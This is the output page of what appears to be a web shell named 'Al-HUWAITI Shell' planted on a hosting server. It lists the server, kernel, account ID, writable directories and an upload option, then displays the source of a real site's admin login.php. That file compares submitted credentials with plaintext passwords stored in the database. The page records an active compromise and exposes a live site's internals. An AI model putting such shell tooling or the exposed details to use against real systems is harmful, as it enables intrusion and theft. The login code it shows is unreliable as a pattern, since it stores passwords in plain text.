Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/login.php
<?php	
	include ("db_connection.php"); //Establishing connection with our database
	$error = ""; //Variable for storing our errors.
	if(isset($_SESSION['adminid']) && isset($_SESSION['is_admin']) && $_SESSION['is_admin']==1){
		header("location: /");
	}	
	if(isset($_POST["email"])){		
		if(empty($_POST["email"]) || empty($_POST["password"])){
			$error = "Both fields are required.";
		}else{
			// Define $username and $password
			$username=$_POST['email'];
			$password=$_POST['password'];
			 
			// To protect from MySQL injection
			$username = stripslashes($username);
			$password = stripslashes($password);
			$username = mysqli_real_escape_string($connection, $username);
			$password = mysqli_real_escape_string($connection, $password);
			
			//Check username and password from database
			$sql="SELECT * FROM adminpanel WHERE email='$username' and password='$password'";
			$result=mysqli_query($connection,$sql);
			$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
			 
			//If username and password exist in our database then create a session.
			//Otherwise echo error.
				 
			if(mysqli_num_rows($result) == 1){
				
				$_SESSION['adminid'] = $row['id'];
				$_SESSION['adminemail'] = $row['email'];
				$_SESSION['uname'] = $row['uname'];
				$_SESSION['is_admin'] = $row['is_admin'];
				$_SESSION['user_type'] = 'Admin';
				
				header("location: index"); // Redirecting To Other Page
			}else{
				$error = "Incorrect username or password.";
			}
 		}
	}
?>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Admin | Log in</title>
  <!-- Tell the browser to be responsive to screen width -->
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="icon" type="image/x-icon" href="assets/dist/img/favicon.ico">
  <!-- Font Awesome -->
  <link rel="stylesheet" href="assets/plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <!-- icheck bootstrap -->
  <link rel="stylesheet" href="assets/plugins/icheck-bootstrap/icheck-bootstrap.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="assets/dist/css/adminlte.min.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
  <style>
  		div.error { 
   float: none; color: red; 
   padding-left: .5em;
   vertical-align: top; 
   display: block;
}​
 
  </style>
</head>
<body class="hold-transition login-page">

<div class="login-box">
  <div class="login-logo">
    <a href="#"><b>Login </b></a>
  </div>
  <!-- /.login-logo -->
  <div class="card">
    <div class="card-body login-card-body">
	
	
	<!-- Manual Error Message Start -->
	<?php if (!empty($error)):?>	
	<div class="alert alert-danger alert-dismissible">
                  <button type="button" class="close" data-dismiss="alert" aria-hidden="true"></button>
                  <h5><i class="icon fas fa-ban"></i> Alert!</h5>
                 <span><?php echo $error; ?></span>
                </div>
		<?php endif; ?>
	 <!-- Error Message Ends -->
	 
	 <!--  Codeingiter Error Message Start -->
	  
 
	 
	 <!-- Manual Success Message Start -->
	<?php if (!empty($message)):?>	            
                		<div class="alert alert-success alert-dismissible">
                  <button type="button" class="close" data-dismiss="alert" aria-hidden="true"></button>
                  <h5><i class="icon fas fa-check"></i> Alert!</h5>
                 <span><?php echo $message; ?></span>
                </div>
	<?php endif; ?>
	<!--Manual Success Message Ends -->
	
	
      <p class="login-box-msg">Sign in to start your session</p>

      <form id="admin-login-form" action="" method="post">
        <div class="input-group mb-3">
          <input name="email" id="email" type="email" class="form-control" placeholder="Email">
          <div class="input-group-append">
            <div class="input-group-text">
              <span class="fas fa-envelope"></span>
            </div>
          </div>
        </div>
        <div class="input-group mb-3">
          <input name="password" id="password" type="password" class="form-control" placeholder="Password">
          <div class="input-group-append">
            <div class="input-group-text">
              <span class="fas fa-lock"></span>
            </div>
          </div>
        </div>
        <div class="row">
           
          <!-- /.col -->
          <div class="col-4">
            <button type="submit" class="btn btn-primary btn-block" value="login">Sign In</button>		
          </div>
          <!-- /.col -->
        </div>
      </form>

      <!--<div class="social-auth-links text-center mb-3">
        <p>- OR -</p>
        <a href="#" class="btn btn-block btn-primary">
          <i class="fab fa-facebook mr-2"></i> Sign in using Facebook
        </a>
        <a href="#" class="btn btn-block btn-danger">
          <i class="fab fa-google-plus mr-2"></i> Sign in using Google+
        </a>
      </div>-->
      <!-- /.social-auth-links -->

      <!--<p class="mb-1">
        <a href="forgot-password.html">I forgot my password</a>
      </p>-->
       
    </div>
    <!-- /.login-card-body -->
  </div>
</div>
<!-- /.login-box -->

<!-- jQuery -->
<script src="assets/plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="assets/plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="assets/dist/js/adminlte.min.js"></script>

<script src="assets/plugins/jquery-validation/jquery.validate.js"></script>
<script src="assets/dist/js/validate.js"></script>
</script>

 

</body>
</html>

Al-HUWAITI Shell